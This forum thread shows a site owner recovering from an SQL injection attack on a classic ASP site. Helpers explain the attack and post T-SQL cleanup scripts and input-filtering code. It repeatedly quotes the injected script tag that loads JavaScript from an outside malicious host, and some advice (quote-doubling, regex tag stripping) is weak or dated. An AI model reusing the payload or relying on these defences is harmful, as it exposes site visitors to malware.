newoffice
asked on
Extremely Urgent - SQL injection attack
We have inline SQL in classic ASP. We were running fine for the past 5 years, but we got hit with an injection attack on friday. Before we convert them to stored procedures, somebody help me with options available for damage control.
Below is the script that is getting injected into almost all of the fields in the database:
<script src=http://www.pingadw.com/b.js></script>
It is always added in the end of the data value. Can closing the sql string prevent this? For example
strsql = "insert into user values('" & username & '")" & ""
Can I do an automated text generator and ask the user to input the value to prevent this for time being?
I am in a blindspot here and any help is appreciated. I am willing to give away points as well.
Thanks a lot!!
Below is the script that is getting injected into almost all of the fields in the database:
<script src=http://www.pingadw.com/b.js></script>
It is always added in the end of the data value. Can closing the sql string prevent this? For example
strsql = "insert into user values('" & username & '")" & ""
Can I do an automated text generator and ask the user to input the value to prevent this for time being?
I am in a blindspot here and any help is appreciated. I am willing to give away points as well.
Thanks a lot!!
strsql = "insert into user values('" & username & '")" & ""
should be:
strsql = "insert into user values('" & replace(username, "'", "''") & '")" & ""
to prevent the attack from being successful, but you should also test the length of the value of username...
should be:
strsql = "insert into user values('" & replace(username, "'", "''") & '")" & ""
to prevent the attack from being successful, but you should also test the length of the value of username...
I usually create a function to Replace ' with '':
Public Function FormatSQL(strSQL)
FormatSQL = Replace(strSql, "'", "''")
End Function
I then convert any Varchar's with the FormatSQL function.
HTH.
Public Function FormatSQL(strSQL)
FormatSQL = Replace(strSql, "'", "''")
End Function
I then convert any Varchar's with the FormatSQL function.
HTH.
One other thing:
You can place this function into an include file, and include the include file into multiple pages (or all pages). For Classic ASP apps, I usually have a master include (which contains extremely common Constants and Functions) that is included at the top of every .asp page, or you can put it in its own include file and include that file as needed.
Don't use .inc as an include file extension if you can help it - use .asp as that will help prevent people from viewing your include files as text by hardcode typing the include file's path.
You can place this function into an include file, and include the include file into multiple pages (or all pages). For Classic ASP apps, I usually have a master include (which contains extremely common Constants and Functions) that is included at the top of every .asp page, or you can put it in its own include file and include that file as needed.
Don't use .inc as an include file extension if you can help it - use .asp as that will help prevent people from viewing your include files as text by hardcode typing the include file's path.
>>I usually create a function to Replace ' with '':
If the user is sending this to be inserted into the db:
<script src=http://www.pingadw.com/b.js></script>
then when the db is queried to obtain the content for his dynamic page, that <script> tag will end up in the source code of the page and subsequently will cause the browser to "fetch" the javascript file and execute it. What he needs to do is to filter out <script> tags from entering into the db. Stored procedures or not, escaped apostrophes or not, the injection here is due to the unfiltered <script> tag.
If the user is sending this to be inserted into the db:
<script src=http://www.pingadw.com/b.js></script>
then when the db is queried to obtain the content for his dynamic page, that <script> tag will end up in the source code of the page and subsequently will cause the browser to "fetch" the javascript file and execute it. What he needs to do is to filter out <script> tags from entering into the db. Stored procedures or not, escaped apostrophes or not, the injection here is due to the unfiltered <script> tag.
This matches the MO of an attackt that's been going around. This code should put things right, provided you don't have any legitimate instances of the text '<script' in your database:
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=LEFT(['+@C+'], CHARINDEX(''<script'', ['+@C+']))
WHERE CHARINDEX(''<script'', ['+@C+']) >0')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
ASKER
dear jcoehoorn:,
can you explain a little bit more?
can you explain a little bit more?
That's a modification of the same code that likely infected you in the first place. It's a bit cryptic because I didn't take the time to change any variable names, but I've had a few people use it successfully to clean their systems.
What it does is query the sysobject and syscolumns tables to get a list of all char, nchar, varchar, and nvarchar columns in the database. It then loops through the list with a cursor. The original code appended the bad script. The modification instead looks for '<script' and removes it and everything to the right in the column if it exists. So you have any valid instances of '<script' in your data you'll want to tweak this some. Otherwise it should fix you right up (though it may take a while to run if you have a lot of data).
All this is moot, though, if you don't first fix your web sites to sanitize your database inputs. If you don't do that you'll be infected again by the end of the week.
What it does is query the sysobject and syscolumns tables to get a list of all char, nchar, varchar, and nvarchar columns in the database. It then loops through the list with a cursor. The original code appended the bad script. The modification instead looks for '<script' and removes it and everything to the right in the column if it exists. So you have any valid instances of '<script' in your data you'll want to tweak this some. Otherwise it should fix you right up (though it may take a while to run if you have a lot of data).
All this is moot, though, if you don't first fix your web sites to sanitize your database inputs. If you don't do that you'll be infected again by the end of the week.
ASKER
jcoehoorn: thanks for shedding some light. Looks like you are familiar with this.
At present we do have corrupt data sitting in our database. Does it spread from there? Should i clean this first before fixing my code?
At present we do have corrupt data sitting in our database. Does it spread from there? Should i clean this first before fixing my code?
ASKER
does doing kaptcha prevent this?
does inside login pages get affected as well?
does inside login pages get affected as well?
The FIRST thing you should do is take down any web sites that depend on this database, because right now those sites are trying to infect your users with malware. Perhaps put up a new plain html page that tells your users what is going on.
The SECOND thing you should do is go over your sites with a fine-toothed comb and fix anything that could pass an unsanitized input to your database. The simplest version there is make sure any string value received from a form replaces single quote/apostrophe (') with two single quotes/apostrophes ('') before going to the database. Even on select statements that don't make any changes.
The THIRD thing is to use the code I gave you to clean the bad stuff out of your database.
Then you can put the site back up live.
The SECOND thing you should do is go over your sites with a fine-toothed comb and fix anything that could pass an unsanitized input to your database. The simplest version there is make sure any string value received from a form replaces single quote/apostrophe (') with two single quotes/apostrophes ('') before going to the database. Even on select statements that don't make any changes.
The THIRD thing is to use the code I gave you to clean the bad stuff out of your database.
Then you can put the site back up live.
Capthas will not help, and inside login areas are still affected.
ASKER
jcoehoorn:
We are always deligent on replacing single quotes with double quotes. What we don't have is, the closing of the sql strings. Which is why i believe it is being appended in the end.. or is that the pattern of this type of attack?
My co-worker has a copy of the corrupt database for referencing to fix the issue. Does leaving the copy sitting in the database, affect the cleaned out database?
We are always deligent on replacing single quotes with double quotes. What we don't have is, the closing of the sql strings. Which is why i believe it is being appended in the end.. or is that the pattern of this type of attack?
My co-worker has a copy of the corrupt database for referencing to fix the issue. Does leaving the copy sitting in the database, affect the cleaned out database?
>>make sure any string value received from a form replaces single quote/apostrophe (') with two single quotes/apostrophes ('') before going to the database.
again, this will not prevent someone from typing this into a textarea as a "Comment":
Great Site! <script src=http://www.pingadw.com/b.js></script>
the src attribute of a script tag does not have to be quoted. What you need to do is before you insert into your db, make sure you are removing it. You could even remove all HTML markup from the input
Function RemoveHTML( strText )
Dim RegEx
Set RegEx = New RegExp
RegEx.Pattern = "<[^>]*>"
RegEx.Global = True
RemoveHTML = RegEx.Replace(strText, "")
End Function
"INSERT INTO Tablename (comments) VALUES( " & Replace(RemoveHTML(Request ("comment" ) ),"'","''") & " )"
again, this will not prevent someone from typing this into a textarea as a "Comment":
Great Site! <script src=http://www.pingadw.com/b.js></script>
the src attribute of a script tag does not have to be quoted. What you need to do is before you insert into your db, make sure you are removing it. You could even remove all HTML markup from the input
Function RemoveHTML( strText )
Dim RegEx
Set RegEx = New RegExp
RegEx.Pattern = "<[^>]*>"
RegEx.Global = True
RemoveHTML = RegEx.Replace(strText, "")
End Function
"INSERT INTO Tablename (comments) VALUES( " & Replace(RemoveHTML(Request
Replacing ' with '' is only the first and most basic sql injection prevention. What happens is that someone finds an unprotected form field on your site, and puts something like this in it:
';<sql code here>--
The single quote closes whatever literal the string would be included with, and the semi-colon then ends that statment. Then they can include whatever sql they want and it will run in the same command (be it insert, update, delete, or even SELECT) that would have acted on a normal form field. Finally, they comment out any remaining sql, since they want to try to avoid causing an error on the page that might be logged. ASP is an old language now, and you only have to miss one field for this script to find every char or varchar column in your database. Newer languages like ASP.Net provide some tools to prevent this automatically, if you use them.
Keeping everything in stored procedures also helps _if you pass the value to the procedure as a parameter_. If you pass the value to the procedure as dynamic sql, it will just run the procedure and then run your code.
';<sql code here>--
The single quote closes whatever literal the string would be included with, and the semi-colon then ends that statment. Then they can include whatever sql they want and it will run in the same command (be it insert, update, delete, or even SELECT) that would have acted on a normal form field. Finally, they comment out any remaining sql, since they want to try to avoid causing an error on the page that might be logged. ASP is an old language now, and you only have to miss one field for this script to find every char or varchar column in your database. Newer languages like ASP.Net provide some tools to prevent this automatically, if you use them.
Keeping everything in stored procedures also helps _if you pass the value to the procedure as a parameter_. If you pass the value to the procedure as dynamic sql, it will just run the procedure and then run your code.
ASKER
My co-worker has a copy of the corrupt database for referencing to fix the issue. Does leaving the copy sitting in the database, affect the cleaned out database?
Does it spread from one table to another?
Does it spread from one table to another?
>Does it spread from one table to another?
no, the injections updates all the tables/columns "at once"
@hielo:
>again, this will not prevent someone from typing this into a textarea as a "Comment":
>Great Site! <script src=http://www.pingadw.com/b.js></script>
however, it will prevent the sql injection to run some code in the database! which is the most important.
the second step however is indeed to control the data submitted.
no, the injections updates all the tables/columns "at once"
@hielo:
>again, this will not prevent someone from typing this into a textarea as a "Comment":
>Great Site! <script src=http://www.pingadw.com/b.js></script>
however, it will prevent the sql injection to run some code in the database! which is the most important.
the second step however is indeed to control the data submitted.
ASKER
Capthas will not help, and inside login areas are still affected.
Can you explain how the internal pages are accessed? I know it has been a long thread.. I am willing to give as many points as you want.. please help! Desperately trying to understand as this is the first time we are being hit and we are down.
we were planning to do capthas.. how does it not work?
Can you explain how the internal pages are accessed? I know it has been a long thread.. I am willing to give as many points as you want.. please help! Desperately trying to understand as this is the first time we are being hit and we are down.
we were planning to do capthas.. how does it not work?
ASKER
no, the injections updates all the tables/columns "at once"
-- only some of the columns are affected. Does it mean they are vulnerable fields?
-- only some of the columns are affected. Does it mean they are vulnerable fields?
>-- only some of the columns are affected. Does it mean they are vulnerable fields?
I should have written:
all varchar, char, nvarchar, nchar columns large enough to hold the injected data, in tables the account that was able to run the injected query has UPDATE permissions on.
so, int, dates, etc columns are not affected
varchar... etc column too small (like varchar(10)) could not hold the new appended data...
and tables where permissions where lacking neither
I should have written:
all varchar, char, nvarchar, nchar columns large enough to hold the injected data, in tables the account that was able to run the injected query has UPDATE permissions on.
so, int, dates, etc columns are not affected
varchar... etc column too small (like varchar(10)) could not hold the new appended data...
and tables where permissions where lacking neither
ASKER
how do i identify the vulnerable page?
ASKER
also can you explain why kaptchas will not help?
@angeliii:
>>however, it will prevent the sql injection to run some code in the database! which is the most >>important. the second step however is indeed to control the data submitted.
Agree. I am NOT saying "Don't escape the apostrophes". What I am saying is clean your input. Given what was posted originally:
strsql = "insert into user values('" & username & '")" & ""
escaping the apostrophes prevents sql injection, but it seems to this is more of a script injection problem.
>>however, it will prevent the sql injection to run some code in the database! which is the most >>important. the second step however is indeed to control the data submitted.
Agree. I am NOT saying "Don't escape the apostrophes". What I am saying is clean your input. Given what was posted originally:
strsql = "insert into user values('" & username & '")" & ""
escaping the apostrophes prevents sql injection, but it seems to this is more of a script injection problem.
@hielo: agreed!
@newoffice:
>how do i identify the vulnerable page?
all pages where the code does not check the data, and does not handle the quotes.
@newoffice:
>how do i identify the vulnerable page?
all pages where the code does not check the data, and does not handle the quotes.
> Can you explain how the internal pages are accessed?
If you have a vulnerable field _outside_ of your login area, the malicious sql script here will still infect _every_ vulnerable column in the database. So pages inside your login area could still be used by the attacker to server up malicious code to your users, and your users are the real target here.
Page _inside_ your login area cannot be targeted by this script, but there's nothing stopping a different attacker who has a valid login from injecting something else on an internal page. You still need to sanitize your fields - every field, always. Leaving even ONE field open anywhere is enough for an attacker to do anything they want to your database.
I suppose Captchas could help in certain scenarios (provided the captcha code itself is secure and runs before anything else does), but since you'd need to include a captcha on _every_ page that accepted any input, and users hate captchas, you should save that as a fix of last resort. Even then, you should still _sanitize anything that goes to the database_.
http://xkcd.com/327/
If you have a vulnerable field _outside_ of your login area, the malicious sql script here will still infect _every_ vulnerable column in the database. So pages inside your login area could still be used by the attacker to server up malicious code to your users, and your users are the real target here.
Page _inside_ your login area cannot be targeted by this script, but there's nothing stopping a different attacker who has a valid login from injecting something else on an internal page. You still need to sanitize your fields - every field, always. Leaving even ONE field open anywhere is enough for an attacker to do anything they want to your database.
I suppose Captchas could help in certain scenarios (provided the captcha code itself is secure and runs before anything else does), but since you'd need to include a captcha on _every_ page that accepted any input, and users hate captchas, you should save that as a fix of last resort. Even then, you should still _sanitize anything that goes to the database_.
http://xkcd.com/327/
One more thing: I've seen a few other people today (one of them in another EE question) with the same problem. This is actually round two for this attack, and I wrote that procedure for round 1 back in april. It looks like they may have changed the attack a little bit, meaning that code is a little out of date now- one other person who tried the code reported that it left the '<' character on the end. I'm looking at that, and if it's the case it's a simple fix (just as a -1 to the right place in the script).
Actually, I think the error is because it's a different sql server version (7 or 2008) that uses charindex() differently.
Actually, I think the error is because it's a different sql server version (7 or 2008) that uses charindex() differently.
ASKER
jcoehoorn:
I used your script to remove the script inserted.. but it is leaving "<" It has removed the rest. How do I remove it? As of now my brain is of no use. Just landed from india yesterday and trying to solve this with a baby in hand :(:(
please please reply.
I used your script to remove the script inserted.. but it is leaving "<" It has removed the rest. How do I remove it? As of now my brain is of no use. Just landed from india yesterday and trying to solve this with a baby in hand :(:(
please please reply.
This will clean the trailing < characters:
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=LEFT(['+@C+'], LEN(['+@C+'])-1 WHERE ['+@C+'] LIKE ''%>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Oops- there's a typo in there. Used the other angle bracket.
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=LEFT(['+@C+'], LEN(['+@C+'])-1 WHERE ['+@C+'] LIKE ''%<''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
ASKER
It says incorrect syntax near the keyword 'WHERE'
Not my day. Missed a closing parentheses for LEFT() function::
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=LEFT(['+@C+'], LEN(['+@C+'])-1) WHERE ['+@C+'] LIKE ''%<''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
ASKER
ok this is what i have now
Must declare the scalar variable "@T".
Must declare the scalar variable "@T".
ASKER
sorry my bad
ASKER
jcoehoorn:
I was able to remove the script from the data. One final thing...
what do i have to change in your original script to remove the "<" as well? Think almost there to close the question.
I was able to remove the script from the data. One final thing...
what do i have to change in your original script to remove the "<" as well? Think almost there to close the question.
ASKER CERTIFIED SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER
Thanks jcoehoorn: You saved my day and lot of trouble. We are still being attacked but atleast I can clear them out. you deserve more than 500 points. I will open up couple of other questions.. just answer them and I will accept
again thanks a ton
again thanks a ton
ASKER
Thanks agian!!!
Don't worry- I probably won't see them, but it's okay. I don't do this for points.
I just saw this run past my newsreader, and since it's relevant I'm posting here:
http://news.cnet.com/8301-10789_3-9976521-57.html?part=rss&subj=news&tag=2547-1_3-0-5
http://news.cnet.com/8301-10789_3-9976521-57.html?part=rss&subj=news&tag=2547-1_3-0-5
https://www.experts-exchange.com/questions/23408074/SQL-Injection-Attack-how-to-stop-it-once-it's-started.html?anchorAnswerId=21587812#a21587812